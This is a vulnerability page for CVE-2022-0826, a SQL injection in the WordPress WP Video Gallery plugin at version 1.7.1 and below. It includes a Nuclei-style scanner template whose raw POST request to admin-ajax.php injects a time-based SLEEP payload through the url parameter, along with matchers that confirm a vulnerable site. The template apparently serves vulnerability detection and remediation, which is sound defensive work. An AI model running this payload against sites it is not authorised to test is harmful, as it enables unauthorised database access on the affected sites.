CVE-2022-0826: WordPress WP Video Gallery <=1.7.1 - SQL Injection

2025-08-01 WordPress WP Video Gallery PoC Public

Description

WordPress WP Video Gallery plugin through 1.7.1 contains a SQL injection vulnerability. The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

PoC

id: CVE-2022-0826

info:
  name: WordPress WP Video Gallery <=1.7.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress WP Video Gallery plugin through 1.7.1 contains a SQL injection vulnerability. The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
  remediation: |
    Update to the latest version of WP Video Gallery plugin (>=1.7.2) or apply the vendor-provided patch to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7a3eed3b-c643-4e24-b833-eba60ab631c5
    - https://wordpress.org/plugins/wp-video-gallery-free/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0826
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0826
    cwe-id: CWE-89
    epss-score: 0.09127
    epss-percentile: 0.95044
    cpe: cpe:2.3:a:wp-video-gallery-free_project:wp-video-gallery-free:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wp-video-gallery-free_project
    product: wp-video-gallery-free
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wp-plugin,wpscan,wordpress,wp,sqli,wp-video-gallery-free,unauth,wp-video-gallery-free_project,vkev,vuln

http:
  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wp_video_gallery_ajax_add_single_youtube&url=http://oast.me/?x%26v=1%2522 AND (SELECT 1780 FROM (SELECT(SLEEP(6)))uPaz)%2523

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "Registred videos :")'
        condition: and
# digest: 490a00463044022047d358bbc3e2b824263c94bbf448a2785a4fbf74117b6b0b543b9181b38ae5eb02204f3dc72b0d9ddee12059fad818304ec8d5ded7c1c716c558ed285396a0abbc8f:922c64590222798bb761d5b6d8e72950

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